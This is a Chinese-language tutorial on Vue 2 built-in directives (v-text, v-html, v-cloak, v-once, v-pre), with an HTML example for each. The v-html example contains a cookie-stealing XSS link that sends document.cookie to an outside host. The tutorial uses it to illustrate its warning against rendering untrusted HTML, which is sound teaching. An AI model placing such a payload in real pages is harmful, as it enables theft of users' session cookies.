19-Vue核心-内置指令
目前为止，我们学过的指令：
v-bind：单向绑定解析表达式，可以简写为 :xxx
v-model：双向数据绑定
v-for：遍历数组 / 对象 / 字符串
v-on：绑定事件监听，可以简写为 @
v-if：条件渲染（动态控制节点是否存在）
v-else：条件渲染（动态控制节点是否存在）
v-show：条件渲染（动态控制节点是否展示）
v-text指令
作用：向其所在的节点中渲染文本内容
与插值语法的区别：v-text 会替换掉节点中的内容，{{xxx}} 则不会，更加灵活
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>v-text指令</title>
<script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
<!--准备好一个容器-->
<div id="root">
<div>你好，{{name}}</div>
<div v-text="name"></div>
<div v-text="str"></div>
</div>
<script type="text/javascript">
// 阻止 vue 在启动时生成生产提示
Vue.config.productionTip = false
new Vue({
el:"#root",
data(){
return{
name:"马铃薯",
str:'<h3>Hello World!</h3>'
}
}
})
</script>
</body>
</html>
扩展：什么是Cookie
Cookie 是一些数据, 存储于你电脑上的文本文件中。当 web 服务器向浏览器发送 web 页面时，在连接关闭后，服务端不会记录用户的信息。
Cookie 的作用就是用于解决 "如何记录客户端的用户信息":
1）当用户访问 web 页面时，他的名字可以记录在 cookie 中。
2）在用户下一次访问该页面时，可以在 cookie 中读取用户访问记录。
v-html指令
作用：向指定节点中渲染包含html结果的内容
与插值语法的区别：
1）v-html会替换掉节点中所有的内容，{{xxx}}则不会（这点与v-text指令一样）
2）v-html可以识别html结构
这里需要注意，v-html有安全性问题
1）在网站上动态渲染任意 html 是非常危险的，容易导致 XSS 攻击
2）一定要在可信的内容上使用 v-html , 永远不要用在用户提交的内容上
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>v-text指令</title>
<script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
<!--准备好一个容器-->
<div id="root">
<div>你好，{{name}}</div>
<div v-html="str"></div>
<div v-html="str2"></div>
</div>
<script type="text/javascript">
// 阻止 vue 在启动时生成生产提示
Vue.config.productionTip = false
new Vue({
el:"#root",
data(){
return{
name:"马铃薯",
str:'<h3>Hello World!</h3>',
// location.href 在当前页面打开URL页面
// document.cookie 获取并设置与当前文档相关联的 cookie
str2:'<a href=javascript:location.href="https://www.baidu.com?"+document.cookie>兄弟，我找到你想要的资源了，快来！</a>'
}
}
})
</script>
</body>
</html>
v-cloak指令
如果网速较慢，vue元素还没有渲染情况下，页面会显示源代码的 例如:{{mesage}}
我们可以使用 v-clock指令，作用就是为Vue绑定的元素上添加该属性，只需要配合CSS设置样式就可以解决屏幕闪烁问题。
1）本质是一个特殊属性，Vue实例创建完毕并接管容器后，会删掉 v-cloak 属性
2）使用 css 配合 v-cloak 可以解决网速慢时，页面展出 {{xxx}} 的问题
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>v-cloak指令</title>
<style>
/* 选择所有具有v-cloak属性的标签 */
[v-cloak]{
/* 显示控制，隐藏 */
display:none;
}
</style>
<script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
<!--准备好一个容器-->
<div id="root">
<h2 v-cloak>{{name}}</h2>
</div>
<script type="text/javascript">
// 阻止 vue 在启动时生成生产提示
Vue.config.productionTip = false
new Vue({
el:"#root",
data(){
return{
name:"马铃薯"
}
}
})
</script>
</body>
</html>
v-once指令
v-once 指令可以用于任何元素或组件，并在绑定数据后，将其内容标记为一次性的，不再响应数据的更新。
1）v-once 所在节点在初次动态渲染后，就视为静态内容了
2）以后数据的改变不会引起 v-once 所在结构的更新，可以用于优化性能
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>v-once指令</title>
<script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
<!--准备好一个容器-->
<div id="root">
<h2 v-once>当前的n值是：{{n}}</h2>
<h2>当前的n值是：{{n}}</h2>
<button @click="n++">点我n+1</button>
</div>
<script type="text/javascript">
// 阻止 vue 在启动时生成生产提示
Vue.config.productionTip = false
new Vue({
el:"#root",
data(){
return{
n:1
}
}
})
</script>
</body>
</html>
v-pre指令
v-pre指令可以不对{{}}的内容进行解析，直接输出。简单的说，就是写的是什么样，那么它就输出什么样！
1）跳过气所在节点的编译过程
2）可利用它跳过：没有使用指令语法、没有使用插值语法的节点，会加快编译
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>v-pre指令</title>
<script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
<!--准备好一个容器-->
<div id="root">
<h2 v-pre>Vue其实很简单</h2>
<h2 v-pre>当前的n值是：{{n}}</h2>
<button v-pre @click="n++">点我n+1</button>
</div>
<script type="text/javascript">
// 阻止 vue 在启动时生成生产提示
Vue.config.productionTip = false
new Vue({
el:"#root",
data(){
return{
n:1
}
}
})
</script>
</body>
</html>
